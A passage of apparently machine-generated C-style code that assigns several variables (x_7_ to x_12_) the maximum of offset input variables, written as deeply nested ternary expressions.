(11.0 + x_27))? ((19.0 + x_17) > (15.0 + x_22)? (19.0 + x_17) : (15.0 + x_22)) : ((8.0 + x_24) > (11.0 + x_27)? (8.0 + x_24) : (11.0 + x_27)))? ((16.0 + x_13) > ((17.0 + x_14) > (6.0 + x_15)? (17.0 + x_14) : (6.0 + x_15))? (16.0 + x_13) : ((17.0 + x_14) > (6.0 + x_15)? (17.0 + x_14) : (6.0 + x_15))) : (((19.0 + x_17) > (15.0 + x_22)? (19.0 + x_17) : (15.0 + x_22)) > ((8.0 + x_24) > (11.0 + x_27)? (8.0 + x_24) : (11.0 + x_27))? ((19.0 + x_17) > (15.0 + x_22)? (19.0 + x_17) : (15.0 + x_22)) : ((8.0 + x_24) > (11.0 + x_27)? (8.0 + x_24) : (11.0 + x_27)))));
x_7_ = ((((19.0 + x_0) > ((6.0 + x_1) > (3.0 + x_4)? (6.0 + x_1) : (3.0 + x_4))? (19.0 + x_0) : ((6.0 + x_1) > (3.0 + x_4)? (6.0 + x_1) : (3.0 + x_4))) > (((2.0 + x_6) > (4.0 + x_7)? (2.0 + x_6) : (4.0 + x_7)) > ((3.0 + x_9) > (2.0 + x_11)? (3.0 + x_9) : (2.0 + x_11))? ((2.0 + x_6) > (4.0 + x_7)? (2.0 + x_6) : (4.0 + x_7)) : ((3.0 + x_9) > (2.0 + x_11)? (3.0 + x_9) : (2.0 + x_11)))? ((19.0 + x_0) > ((6.0 + x_1) > (3.0 + x_4)? (6.0 + x_1) : (3.0 + x_4))? (19.0 + x_0) : ((6.0 + x_1) > (3.0 + x_4)? (6.0 + x_1) : (3.0 + x_4))) : (((2.0 + x_6) > (4.0 + x_7)? (2.0 + x_6) : (4.0 + x_7)) > ((3.0 + x_9) > (2.0 + x_11)? (3.0 + x_9) : (2.0 + x_11))? ((2.0 + x_6) > (4.0 + x_7)? (2.0 + x_6) : (4.0 + x_7)) : ((3.0 + x_9) > (2.0 + x_11)? (3.0 + x_9) : (2.0 + x_11)))) > (((2.0 + x_13) > ((9.0 + x_16) > (5.0 + x_17)? (9.0 + x_16) : (5.0 + x_17))? (2.0 + x_13) : ((9.0 + x_16) > (5.0 + x_17)? (9.0 + x_16) : (5.0 + x_17))) > (((15.0 + x_18) > (12.0 + x_23)? (15.0 + x_18) : (12.0 + x_23)) > ((12.0 + x_24) > (15.0 + x_25)? (12.0 + x_24) : (15.0 + x_25))? ((15.0 + x_18) > (12.0 + x_23)? (15.0 + x_18) : (12.0 + x_23)) : ((12.0 + x_24) > (15.0 + x_25)? (12.0 + x_24) : (15.0 + x_25)))? ((2.0 + x_13) > ((9.0 + x_16) > (5.0 + x_17)? (9.0 + x_16) : (5.0 + x_17))? (2.0 + x_13) : ((9.0 + x_16) > (5.0 + x_17)? (9.0 + x_16) : (5.0 + x_17))) : (((15.0 + x_18) > (12.0 + x_23)? (15.0 + x_18) : (12.0 + x_23)) > ((12.0 + x_24) > (15.0 + x_25)? (12.0 + x_24) : (15.0 + x_25))? ((15.0 + x_18) > (12.0 + x_23)? (15.0 + x_18) : (12.0 + x_23)) : ((12.0 + x_24) > (15.0 + x_25)? (12.0 + x_24) : (15.0 + x_25))))? (((19.0 + x_0) > ((6.0 + x_1) > (3.0 + x_4)? (6.0 + x_1) : (3.0 + x_4))? (19.0 + x_0) : ((6.0 + x_1) > (3.0 + x_4)? (6.0 + x_1) : (3.0 + x_4))) > (((2.0 + x_6) > (4.0 + x_7)? (2.0 + x_6) : (4.0 + x_7)) > ((3.0 + x_9) > (2.0 + x_11)? (3.0 + x_9) : (2.0 + x_11))? ((2.0 + x_6) > (4.0 + x_7)? (2.0 + x_6) : (4.0 + x_7)) : ((3.0 + x_9) > (2.0 + x_11)? (3.0 + x_9) : (2.0 + x_11)))? ((19.0 + x_0) > ((6.0 + x_1) > (3.0 + x_4)? (6.0 + x_1) : (3.0 + x_4))? (19.0 + x_0) : ((6.0 + x_1) > (3.0 + x_4)? (6.0 + x_1) : (3.0 + x_4))) : (((2.0 + x_6) > (4.0 + x_7)? (2.0 + x_6) : (4.0 + x_7)) > ((3.0 + x_9) > (2.0 + x_11)? (3.0 + x_9) : (2.0 + x_11))? ((2.0 + x_6) > (4.0 + x_7)? (2.0 + x_6) : (4.0 + x_7)) : ((3.0 + x_9) > (2.0 + x_11)? (3.0 + x_9) : (2.0 + x_11)))) : (((2.0 + x_13) > ((9.0 + x_16) > (5.0 + x_17)? (9.0 + x_16) : (5.0 + x_17))? (2.0 + x_13) : ((9.0 + x_16) > (5.0 + x_17)? (9.0 + x_16) : (5.0 + x_17))) > (((15.0 + x_18) > (12.0 + x_23)? (15.0 + x_18) : (12.0 + x_23)) > ((12.0 + x_24) > (15.0 + x_25)? (12.0 + x_24) : (15.0 + x_25))? ((15.0 + x_18) > (12.0 + x_23)? (15.0 + x_18) : (12.0 + x_23)) : ((12.0 + x_24) > (15.0 + x_25)? (12.0 + x_24) : (15.0 + x_25)))? ((2.0 + x_13) > ((9.0 + x_16) > (5.0 + x_17)? (9.0 + x_16) : (5.0 + x_17))? (2.0 + x_13) : ((9.0 + x_16) > (5.0 + x_17)? (9.0 + x_16) : (5.0 + x_17))) : (((15.0 + x_18) > (12.0 + x_23)? (15.0 + x_18) : (12.0 + x_23)) > ((12.0 + x_24) > (15.0 + x_25)? (12.0 + x_24) : (15.0 + x_25))? ((15.0 + x_18) > (12.0 + x_23)? (15.0 + x_18) : (12.0 + x_23)) : ((12.0 + x_24) > (15.0 + x_25)? (12.0 + x_24) : (15.0 + x_25)))));
x_8_ = ((((7.0 + x_0) > ((19.0 + x_2) > (19.0 + x_3)? (19.0 + x_2) : (19.0 + x_3))? (7.0 + x_0) : ((19.0 + x_2) > (19.0 + x_3)? (19.0 + x_2) : (19.0 + x_3))) > (((20.0 + x_4) > (20.0 + x_5)? (20.0 + x_4) : (20.0 + x_5)) > ((18.0 + x_8) > (5.0 + x_10)? (18.0 + x_8) : (5.0 + x_10))? ((20.0 + x_4) > (20.0 + x_5)? (20.0 + x_4) : (20.0 + x_5)) : ((18.0 + x_8) > (5.0 + x_10)? (18.0 + x_8) : (5.0 + x_10)))? ((7.0 + x_0) > ((19.0 + x_2) > (19.0 + x_3)? (19.0 + x_2) : (19.0 + x_3))? (7.0 + x_0) : ((19.0 + x_2) > (19.0 + x_3)? (19.0 + x_2) : (19.0 + x_3))) : (((20.0 + x_4) > (20.0 + x_5)? (20.0 + x_4) : (20.0 + x_5)) > ((18.0 + x_8) > (5.0 + x_10)? (18.0 + x_8) : (5.0 + x_10))? ((20.0 + x_4) > (20.0 + x_5)? (20.0 + x_4) : (20.0 + x_5)) : ((18.0 + x_8) > (5.0 + x_10)? (18.0 + x_8) : (5.0 + x_10)))) > (((6.0 + x_13) > ((9.0 + x_14) > (16.0 + x_20)? (9.0 + x_14) : (16.0 + x_20))? (6.0 + x_13) : ((9.0 + x_14) > (16.0 + x_20)? (9.0 + x_14) : (16.0 + x_20))) > (((13.0 + x_23) > (15.0 + x_24)? (13.0 + x_23) : (15.0 + x_24)) > ((1.0 + x_25) > (10.0 + x_26)? (1.0 + x_25) : (10.0 + x_26))? ((13.0 + x_23) > (15.0 + x_24)? (13.0 + x_23) : (15.0 + x_24)) : ((1.0 + x_25) > (10.0 + x_26)? (1.0 + x_25) : (10.0 + x_26)))? ((6.0 + x_13) > ((9.0 + x_14) > (16.0 + x_20)? (9.0 + x_14) : (16.0 + x_20))? (6.0 + x_13) : ((9.0 + x_14) > (16.0 + x_20)? (9.0 + x_14) : (16.0 + x_20))) : (((13.0 + x_23) > (15.0 + x_24)? (13.0 + x_23) : (15.0 + x_24)) > ((1.0 + x_25) > (10.0 + x_26)? (1.0 + x_25) : (10.0 + x_26))? ((13.0 + x_23) > (15.0 + x_24)? (13.0 + x_23) : (15.0 + x_24)) : ((1.0 + x_25) > (10.0 + x_26)? (1.0 + x_25) : (10.0 + x_26))))? (((7.0 + x_0) > ((19.0 + x_2) > (19.0 + x_3)? (19.0 + x_2) : (19.0 + x_3))? (7.0 + x_0) : ((19.0 + x_2) > (19.0 + x_3)? (19.0 + x_2) : (19.0 + x_3))) > (((20.0 + x_4) > (20.0 + x_5)? (20.0 + x_4) : (20.0 + x_5)) > ((18.0 + x_8) > (5.0 + x_10)? (18.0 + x_8) : (5.0 + x_10))? ((20.0 + x_4) > (20.0 + x_5)? (20.0 + x_4) : (20.0 + x_5)) : ((18.0 + x_8) > (5.0 + x_10)? (18.0 + x_8) : (5.0 + x_10)))? ((7.0 + x_0) > ((19.0 + x_2) > (19.0 + x_3)? (19.0 + x_2) : (19.0 + x_3))? (7.0 + x_0) : ((19.0 + x_2) > (19.0 + x_3)? (19.0 + x_2) : (19.0 + x_3))) : (((20.0 + x_4) > (20.0 + x_5)? (20.0 + x_4) : (20.0 + x_5)) > ((18.0 + x_8) > (5.0 + x_10)? (18.0 + x_8) : (5.0 + x_10))? ((20.0 + x_4) > (20.0 + x_5)? (20.0 + x_4) : (20.0 + x_5)) : ((18.0 + x_8) > (5.0 + x_10)? (18.0 + x_8) : (5.0 + x_10)))) : (((6.0 + x_13) > ((9.0 + x_14) > (16.0 + x_20)? (9.0 + x_14) : (16.0 + x_20))? (6.0 + x_13) : ((9.0 + x_14) > (16.0 + x_20)? (9.0 + x_14) : (16.0 + x_20))) > (((13.0 + x_23) > (15.0 + x_24)? (13.0 + x_23) : (15.0 + x_24)) > ((1.0 + x_25) > (10.0 + x_26)? (1.0 + x_25) : (10.0 + x_26))? ((13.0 + x_23) > (15.0 + x_24)? (13.0 + x_23) : (15.0 + x_24)) : ((1.0 + x_25) > (10.0 + x_26)? (1.0 + x_25) : (10.0 + x_26)))? ((6.0 + x_13) > ((9.0 + x_14) > (16.0 + x_20)? (9.0 + x_14) : (16.0 + x_20))? (6.0 + x_13) : ((9.0 + x_14) > (16.0 + x_20)? (9.0 + x_14) : (16.0 + x_20))) : (((13.0 + x_23) > (15.0 + x_24)? (13.0 + x_23) : (15.0 + x_24)) > ((1.0 + x_25) > (10.0 + x_26)? (1.0 + x_25) : (10.0 + x_26))? ((13.0 + x_23) > (15.0 + x_24)? (13.0 + x_23) : (15.0 + x_24)) : ((1.0 + x_25) > (10.0 + x_26)? (1.0 + x_25) : (10.0 + x_26)))));
x_9_ = ((((9.0 + x_4) > ((3.0 + x_8) > (8.0 + x_10)? (3.0 + x_8) : (8.0 + x_10))? (9.0 + x_4) : ((3.0 + x_8) > (8.0 + x_10)? (3.0 + x_8) : (8.0 + x_10))) > (((18.0 + x_12) > (4.0 + x_13)? (18.0 + x_12) : (4.0 + x_13)) > ((7.0 + x_15) > (9.0 + x_17)? (7.0 + x_15) : (9.0 + x_17))? ((18.0 + x_12) > (4.0 + x_13)? (18.0 + x_12) : (4.0 + x_13)) : ((7.0 + x_15) > (9.0 + x_17)? (7.0 + x_15) : (9.0 + x_17)))? ((9.0 + x_4) > ((3.0 + x_8) > (8.0 + x_10)? (3.0 + x_8) : (8.0 + x_10))? (9.0 + x_4) : ((3.0 + x_8) > (8.0 + x_10)? (3.0 + x_8) : (8.0 + x_10))) : (((18.0 + x_12) > (4.0 + x_13)? (18.0 + x_12) : (4.0 + x_13)) > ((7.0 + x_15) > (9.0 + x_17)? (7.0 + x_15) : (9.0 + x_17))? ((18.0 + x_12) > (4.0 + x_13)? (18.0 + x_12) : (4.0 + x_13)) : ((7.0 + x_15) > (9.0 + x_17)? (7.0 + x_15) : (9.0 + x_17)))) > (((11.0 + x_20) > ((15.0 + x_21) > (20.0 + x_22)? (15.0 + x_21) : (20.0 + x_22))? (11.0 + x_20) : ((15.0 + x_21) > (20.0 + x_22)? (15.0 + x_21) : (20.0 + x_22))) > (((19.0 + x_23) > (2.0 + x_24)? (19.0 + x_23) : (2.0 + x_24)) > ((16.0 + x_25) > (14.0 + x_26)? (16.0 + x_25) : (14.0 + x_26))? ((19.0 + x_23) > (2.0 + x_24)? (19.0 + x_23) : (2.0 + x_24)) : ((16.0 + x_25) > (14.0 + x_26)? (16.0 + x_25) : (14.0 + x_26)))? ((11.0 + x_20) > ((15.0 + x_21) > (20.0 + x_22)? (15.0 + x_21) : (20.0 + x_22))? (11.0 + x_20) : ((15.0 + x_21) > (20.0 + x_22)? (15.0 + x_21) : (20.0 + x_22))) : (((19.0 + x_23) > (2.0 + x_24)? (19.0 + x_23) : (2.0 + x_24)) > ((16.0 + x_25) > (14.0 + x_26)? (16.0 + x_25) : (14.0 + x_26))? ((19.0 + x_23) > (2.0 + x_24)? (19.0 + x_23) : (2.0 + x_24)) : ((16.0 + x_25) > (14.0 + x_26)? (16.0 + x_25) : (14.0 + x_26))))? (((9.0 + x_4) > ((3.0 + x_8) > (8.0 + x_10)? (3.0 + x_8) : (8.0 + x_10))? (9.0 + x_4) : ((3.0 + x_8) > (8.0 + x_10)? (3.0 + x_8) : (8.0 + x_10))) > (((18.0 + x_12) > (4.0 + x_13)? (18.0 + x_12) : (4.0 + x_13)) > ((7.0 + x_15) > (9.0 + x_17)? (7.0 + x_15) : (9.0 + x_17))? ((18.0 + x_12) > (4.0 + x_13)? (18.0 + x_12) : (4.0 + x_13)) : ((7.0 + x_15) > (9.0 + x_17)? (7.0 + x_15) : (9.0 + x_17)))? ((9.0 + x_4) > ((3.0 + x_8) > (8.0 + x_10)? (3.0 + x_8) : (8.0 + x_10))? (9.0 + x_4) : ((3.0 + x_8) > (8.0 + x_10)? (3.0 + x_8) : (8.0 + x_10))) : (((18.0 + x_12) > (4.0 + x_13)? (18.0 + x_12) : (4.0 + x_13)) > ((7.0 + x_15) > (9.0 + x_17)? (7.0 + x_15) : (9.0 + x_17))? ((18.0 + x_12) > (4.0 + x_13)? (18.0 + x_12) : (4.0 + x_13)) : ((7.0 + x_15) > (9.0 + x_17)? (7.0 + x_15) : (9.0 + x_17)))) : (((11.0 + x_20) > ((15.0 + x_21) > (20.0 + x_22)? (15.0 + x_21) : (20.0 + x_22))? (11.0 + x_20) : ((15.0 + x_21) > (20.0 + x_22)? (15.0 + x_21) : (20.0 + x_22))) > (((19.0 + x_23) > (2.0 + x_24)? (19.0 + x_23) : (2.0 + x_24)) > ((16.0 + x_25) > (14.0 + x_26)? (16.0 + x_25) : (14.0 + x_26))? ((19.0 + x_23) > (2.0 + x_24)? (19.0 + x_23) : (2.0 + x_24)) : ((16.0 + x_25) > (14.0 + x_26)? (16.0 + x_25) : (14.0 + x_26)))? ((11.0 + x_20) > ((15.0 + x_21) > (20.0 + x_22)? (15.0 + x_21) : (20.0 + x_22))? (11.0 + x_20) : ((15.0 + x_21) > (20.0 + x_22)? (15.0 + x_21) : (20.0 + x_22))) : (((19.0 + x_23) > (2.0 + x_24)? (19.0 + x_23) : (2.0 + x_24)) > ((16.0 + x_25) > (14.0 + x_26)? (16.0 + x_25) : (14.0 + x_26))? ((19.0 + x_23) > (2.0 + x_24)? (19.0 + x_23) : (2.0 + x_24)) : ((16.0 + x_25) > (14.0 + x_26)? (16.0 + x_25) : (14.0 + x_26)))));
x_10_ = ((((18.0 + x_1) > ((2.0 + x_6) > (19.0 + x_10)? (2.0 + x_6) : (19.0 + x_10))? (18.0 + x_1) : ((2.0 + x_6) > (19.0 + x_10)? (2.0 + x_6) : (19.0 + x_10))) > (((1.0 + x_11) > (18.0 + x_13)? (1.0 + x_11) : (18.0 + x_13)) > ((6.0 + x_17) > (19.0 + x_19)? (6.0 + x_17) : (19.0 + x_19))? ((1.0 + x_11) > (18.0 + x_13)? (1.0 + x_11) : (18.0 + x_13)) : ((6.0 + x_17) > (19.0 + x_19)? (6.0 + x_17) : (19.0 + x_19)))? ((18.0 + x_1) > ((2.0 + x_6) > (19.0 + x_10)? (2.0 + x_6) : (19.0 + x_10))? (18.0 + x_1) : ((2.0 + x_6) > (19.0 + x_10)? (2.0 + x_6) : (19.0 + x_10))) : (((1.0 + x_11) > (18.0 + x_13)? (1.0 + x_11) : (18.0 + x_13)) > ((6.0 + x_17) > (19.0 + x_19)? (6.0 + x_17) : (19.0 + x_19))? ((1.0 + x_11) > (18.0 + x_13)? (1.0 + x_11) : (18.0 + x_13)) : ((6.0 + x_17) > (19.0 + x_19)? (6.0 + x_17) : (19.0 + x_19)))) > (((6.0 + x_20) > ((4.0 + x_21) > (11.0 + x_22)? (4.0 + x_21) : (11.0 + x_22))? (6.0 + x_20) : ((4.0 + x_21) > (11.0 + x_22)? (4.0 + x_21) : (11.0 + x_22))) > (((11.0 + x_23) > (16.0 + x_24)? (11.0 + x_23) : (16.0 + x_24)) > ((10.0 + x_25) > (10.0 + x_26)? (10.0 + x_25) : (10.0 + x_26))? ((11.0 + x_23) > (16.0 + x_24)? (11.0 + x_23) : (16.0 + x_24)) : ((10.0 + x_25) > (10.0 + x_26)? (10.0 + x_25) : (10.0 + x_26)))? ((6.0 + x_20) > ((4.0 + x_21) > (11.0 + x_22)? (4.0 + x_21) : (11.0 + x_22))? (6.0 + x_20) : ((4.0 + x_21) > (11.0 + x_22)? (4.0 + x_21) : (11.0 + x_22))) : (((11.0 + x_23) > (16.0 + x_24)? (11.0 + x_23) : (16.0 + x_24)) > ((10.0 + x_25) > (10.0 + x_26)? (10.0 + x_25) : (10.0 + x_26))? ((11.0 + x_23) > (16.0 + x_24)? (11.0 + x_23) : (16.0 + x_24)) : ((10.0 + x_25) > (10.0 + x_26)? (10.0 + x_25) : (10.0 + x_26))))? (((18.0 + x_1) > ((2.0 + x_6) > (19.0 + x_10)? (2.0 + x_6) : (19.0 + x_10))? (18.0 + x_1) : ((2.0 + x_6) > (19.0 + x_10)? (2.0 + x_6) : (19.0 + x_10))) > (((1.0 + x_11) > (18.0 + x_13)? (1.0 + x_11) : (18.0 + x_13)) > ((6.0 + x_17) > (19.0 + x_19)? (6.0 + x_17) : (19.0 + x_19))? ((1.0 + x_11) > (18.0 + x_13)? (1.0 + x_11) : (18.0 + x_13)) : ((6.0 + x_17) > (19.0 + x_19)? (6.0 + x_17) : (19.0 + x_19)))? ((18.0 + x_1) > ((2.0 + x_6) > (19.0 + x_10)? (2.0 + x_6) : (19.0 + x_10))? (18.0 + x_1) : ((2.0 + x_6) > (19.0 + x_10)? (2.0 + x_6) : (19.0 + x_10))) : (((1.0 + x_11) > (18.0 + x_13)? (1.0 + x_11) : (18.0 + x_13)) > ((6.0 + x_17) > (19.0 + x_19)? (6.0 + x_17) : (19.0 + x_19))? ((1.0 + x_11) > (18.0 + x_13)? (1.0 + x_11) : (18.0 + x_13)) : ((6.0 + x_17) > (19.0 + x_19)? (6.0 + x_17) : (19.0 + x_19)))) : (((6.0 + x_20) > ((4.0 + x_21) > (11.0 + x_22)? (4.0 + x_21) : (11.0 + x_22))? (6.0 + x_20) : ((4.0 + x_21) > (11.0 + x_22)? (4.0 + x_21) : (11.0 + x_22))) > (((11.0 + x_23) > (16.0 + x_24)? (11.0 + x_23) : (16.0 + x_24)) > ((10.0 + x_25) > (10.0 + x_26)? (10.0 + x_25) : (10.0 + x_26))? ((11.0 + x_23) > (16.0 + x_24)? (11.0 + x_23) : (16.0 + x_24)) : ((10.0 + x_25) > (10.0 + x_26)? (10.0 + x_25) : (10.0 + x_26)))? ((6.0 + x_20) > ((4.0 + x_21) > (11.0 + x_22)? (4.0 + x_21) : (11.0 + x_22))? (6.0 + x_20) : ((4.0 + x_21) > (11.0 + x_22)? (4.0 + x_21) : (11.0 + x_22))) : (((11.0 + x_23) > (16.0 + x_24)? (11.0 + x_23) : (16.0 + x_24)) > ((10.0 + x_25) > (10.0 + x_26)? (10.0 + x_25) : (10.0 + x_26))? ((11.0 + x_23) > (16.0 + x_24)? (11.0 + x_23) : (16.0 + x_24)) : ((10.0 + x_25) > (10.0 + x_26)? (10.0 + x_25) : (10.0 + x_26)))));
x_11_ = ((((9.0 + x_0) > ((13.0 + x_2) > (9.0 + x_6)? (13.0 + x_2) : (9.0 + x_6))? (9.0 + x_0) : ((13.0 + x_2) > (9.0 + x_6)? (13.0 + x_2) : (9.0 + x_6))) > (((2.0 + x_8) > (15.0 + x_9)? (2.0 + x_8) : (15.0 + x_9)) > ((9.0 + x_10) > (20.0 + x_13)? (9.0 + x_10) : (20.0 + x_13))? ((2.0 + x_8) > (15.0 + x_9)? (2.0 + x_8) : (15.0 + x_9)) : ((9.0 + x_10) > (20.0 + x_13)? (9.0 + x_10) : (20.0 + x_13)))? ((9.0 + x_0) > ((13.0 + x_2) > (9.0 + x_6)? (13.0 + x_2) : (9.0 + x_6))? (9.0 + x_0) : ((13.0 + x_2) > (9.0 + x_6)? (13.0 + x_2) : (9.0 + x_6))) : (((2.0 + x_8) > (15.0 + x_9)? (2.0 + x_8) : (15.0 + x_9)) > ((9.0 + x_10) > (20.0 + x_13)? (9.0 + x_10) : (20.0 + x_13))? ((2.0 + x_8) > (15.0 + x_9)? (2.0 + x_8) : (15.0 + x_9)) : ((9.0 + x_10) > (20.0 + x_13)? (9.0 + x_10) : (20.0 + x_13)))) > (((6.0 + x_15) > ((7.0 + x_16) > (8.0 + x_17)? (7.0 + x_16) : (8.0 + x_17))? (6.0 + x_15) : ((7.0 + x_16) > (8.0 + x_17)? (7.0 + x_16) : (8.0 + x_17))) > (((18.0 + x_18) > (4.0 + x_19)? (18.0 + x_18) : (4.0 + x_19)) > ((17.0 + x_21) > (20.0 + x_26)? (17.0 + x_21) : (20.0 + x_26))? ((18.0 + x_18) > (4.0 + x_19)? (18.0 + x_18) : (4.0 + x_19)) : ((17.0 + x_21) > (20.0 + x_26)? (17.0 + x_21) : (20.0 + x_26)))? ((6.0 + x_15) > ((7.0 + x_16) > (8.0 + x_17)? (7.0 + x_16) : (8.0 + x_17))? (6.0 + x_15) : ((7.0 + x_16) > (8.0 + x_17)? (7.0 + x_16) : (8.0 + x_17))) : (((18.0 + x_18) > (4.0 + x_19)? (18.0 + x_18) : (4.0 + x_19)) > ((17.0 + x_21) > (20.0 + x_26)? (17.0 + x_21) : (20.0 + x_26))? ((18.0 + x_18) > (4.0 + x_19)? (18.0 + x_18) : (4.0 + x_19)) : ((17.0 + x_21) > (20.0 + x_26)? (17.0 + x_21) : (20.0 + x_26))))? (((9.0 + x_0) > ((13.0 + x_2) > (9.0 + x_6)? (13.0 + x_2) : (9.0 + x_6))? (9.0 + x_0) : ((13.0 + x_2) > (9.0 + x_6)? (13.0 + x_2) : (9.0 + x_6))) > (((2.0 + x_8) > (15.0 + x_9)? (2.0 + x_8) : (15.0 + x_9)) > ((9.0 + x_10) > (20.0 + x_13)? (9.0 + x_10) : (20.0 + x_13))? ((2.0 + x_8) > (15.0 + x_9)? (2.0 + x_8) : (15.0 + x_9)) : ((9.0 + x_10) > (20.0 + x_13)? (9.0 + x_10) : (20.0 + x_13)))? ((9.0 + x_0) > ((13.0 + x_2) > (9.0 + x_6)? (13.0 + x_2) : (9.0 + x_6))? (9.0 + x_0) : ((13.0 + x_2) > (9.0 + x_6)? (13.0 + x_2) : (9.0 + x_6))) : (((2.0 + x_8) > (15.0 + x_9)? (2.0 + x_8) : (15.0 + x_9)) > ((9.0 + x_10) > (20.0 + x_13)? (9.0 + x_10) : (20.0 + x_13))? ((2.0 + x_8) > (15.0 + x_9)? (2.0 + x_8) : (15.0 + x_9)) : ((9.0 + x_10) > (20.0 + x_13)? (9.0 + x_10) : (20.0 + x_13)))) : (((6.0 + x_15) > ((7.0 + x_16) > (8.0 + x_17)? (7.0 + x_16) : (8.0 + x_17))? (6.0 + x_15) : ((7.0 + x_16) > (8.0 + x_17)? (7.0 + x_16) : (8.0 + x_17))) > (((18.0 + x_18) > (4.0 + x_19)? (18.0 + x_18) : (4.0 + x_19)) > ((17.0 + x_21) > (20.0 + x_26)? (17.0 + x_21) : (20.0 + x_26))? ((18.0 + x_18) > (4.0 + x_19)? (18.0 + x_18) : (4.0 + x_19)) : ((17.0 + x_21) > (20.0 + x_26)? (17.0 + x_21) : (20.0 + x_26)))? ((6.0 + x_15) > ((7.0 + x_16) > (8.0 + x_17)? (7.0 + x_16) : (8.0 + x_17))? (6.0 + x_15) : ((7.0 + x_16) > (8.0 + x_17)? (7.0 + x_16) : (8.0 + x_17))) : (((18.0 + x_18) > (4.0 + x_19)? (18.0 + x_18) : (4.0 + x_19)) > ((17.0 + x_21) > (20.0 + x_26)? (17.0 + x_21) : (20.0 + x_26))? ((18.0 + x_18) > (4.0 + x_19)? (18.0 + x_18) : (4.0 + x_19)) : ((17.0 + x_21) > (20.0 + x_26)? (17.0 + x_21) : (20.0 + x_26)))));
x_12_ = ((((7.0 + x_2) > ((19.0 + x_3) > (10.0 + x_4)? (19.0 + x_3) : (10.0 + x_4))? (7.0 + x_2) : ((19.0 + x_3) > (10.0 + x_4)? (19.0 + x_3) : (10.0 + x_4))) > (((2.0 + x_5) > (14.0 + x_6)? (2.0 + x_5) : (14.0 + x_6)) > ((19.0 + x_7) > (10.0 + x_9)? (19.0 + x_7) : (10.0 + x_9))? ((2.0 + x_5) > (14.0 + x_6)? (2.0 + x_5) : (14.0 + x_6)) : ((19.0 + x_7) > (10.0 + x_9)? (19.0 + x_7) : (10.0 + x_9)))? ((7.0 + x_2) > ((19.0 + x_3) > (10.0 + x_4)? (19.0 + x_3) : (10.0 + x_4))? (7.0 + x_2) : ((19.0 + x_3) > (10.0 + x_4)? (19.0 + x_3) : (10.0 + x_4))) : (((2.0 + x_5) > (14.0 + x_6)? (2.0 + x_5) : (14.0 + x_6)) > ((19.0 + x_7) > (10.0 + x_9)? (19.0 + x_7) : (10.0 + x_9))? ((2.0 + x_5) > (14.0 + x_6)? (2.0 + x_5) : (14.0 + x_6)) : ((19.0 + x_7) > (10.0 + x_9)? (19.0 + x_7) : (10.0 + x_9)))) > (((6.0 + x_12) > ((13.0 + x_13) > (12.0 + x_17)? (13.0 + x_13) : (12.0 + x_17))? (6.0 + x_12) : ((13.0 + x_13) > (12.0 + x_17)? (13.0 + x_13) : (12.0 + x_17))) > (((5.0 + x_20) > (7.0 + x_22)? (5.0 + x_20) : (7.0 + x_22)) > ((8.0 + x_24) > (12.0 + x_26)? (8.0 + x_24) : (12.0 + x_26))? ((5.0 + x_20) > (7.0 + x_22)? (5.0 + x_20) : (7.0 + x_22)) : ((8.0 + x_24) > (12.0 + x_26)? (8.0 + x_24) : (12.0 + x_26)))? ((6.0 + x_12) > ((13.0 + x_13) > (12.0 + x_17)? (13.0 + x_13) : (12.0 + x_17))? (6.0 + x_12) : ((13.0 + x_13) > (12.0 + x_17)? (13.0 + x_13) : (12.0 + x_17))) : (((5.0 + x_20) > (7.0 + x_22)? (5.0 + x_20) : (7.0 + x_22)) > ((8.0 + x_24) > (12.0 + x_26)? (8.0 + x_24) : (12.0 + x_26))? ((5.0 + x_20) > (7.0 + x_22)? (5.0 + x_20) : (7.0 + x_22)) : ((8.0 + x_24) > (12.0 + x_26)? (8.0 + x_24) : (12.0 + x_26))))? (((7.0 + x_2) > ((19.0 + x_3) > (10.0 + x_4)? (19.0 + x_3) : (10.0 + x_4))? (7.0 + x_2) : ((19.0 + x_3) > (10.0 + x_4)? (19.0 + x_3) : (10.0 + x_4))) > (((2.0 + x_5) > (14.0 + x_6)? (2.0 + x_5) : (14.0 + x_6)) > ((19.0 + x_7) > (10.0 + x_9)? (19.0 + x_7) : (10.0 + x_9))? ((2.0 + x_5) > (14.0 + x_6)? (2.0 + x_5) : (14.0 + x_6)) : ((19.0 + x_7) > (10.0 + x_9)? (19.0 + x_7) : (10.0 + x_9)))? ((7.0 + x_2) > ((19.0 + x_3) > (10.0 + x_4)? (19.0 + x_3) : (10.0 + x_4))? (7.0 + x_2) : ((19.0 + x_3) > (10.0 + x_4)? (19.0 + x_3) : (10.0 + x_4))) : (((2.0 + x_5) > (14.0 + x_6)? (2.0 + x_5) : (14.0 + x_6)) > ((19.0 + x_7) > (10.0 + x_9)? (19.0 + x_7) : (10.0 + x_9))? ((2.0 + x_5) > (14.0 + x_6)? (2.0 + x_5) : (14.0 + x_6)) : ((19.0 + x_7) > (10.0 + x_9)? (19.0 + x_7) : (10.0 + x_9)))) : (((6.0 + x_12) > ((13.0 + x_13) > (12.0 + x_17)? (13.0 + x_13) : (12.0 + x_17))? (6.0 + x_12) : ((13.0 + x_13) > (12.0 + x_17)? (13.0 + x_13) : (12.0 + x_17))) > (((5.0 + x_20) > (7.0 + x_22)? (5.0 + x_20) : (7.0 + x_22)) > ((8.0 + x_24) > (12.0 + x_26)? (8.0 + x_24) : (12.0 + x_26))? ((5.0 + x_20) > (7.0 + x_22)? (5.0 + x_20) : (7.0 + x_22)) : ((8.0 + x_24) > (12.0 + x_26)? (8.0 + x_24) : (12.0 + x_26)))? ((6.0 + x_12) > ((13.0 + x_13) > (12.0 + x_17)? (13.0 + x_13) : (12.0 + x_17))? (6.0 + x_12) : ((13.0 + x_13) > (12.0 + x_17)? (13.0 + x_13) : (12.0 + x_17))) : (((5.0 + x_20) > (7.0 + x_22)? (5.0 + x_20) : (7.0 + x_22)) > ((8.0 + x_24) > (12.0 + x_26)? (8.0 + x_24) : (12.0 + x_26))? ((5.0 + x_20) > (7.0 + x_22)? (5.0 + x_20) : (7.0 + x_22)) : ((8.0 + x_24) > (12.0 + x_26)? (8.0 + x_24) : (12.0 + x_26)))));
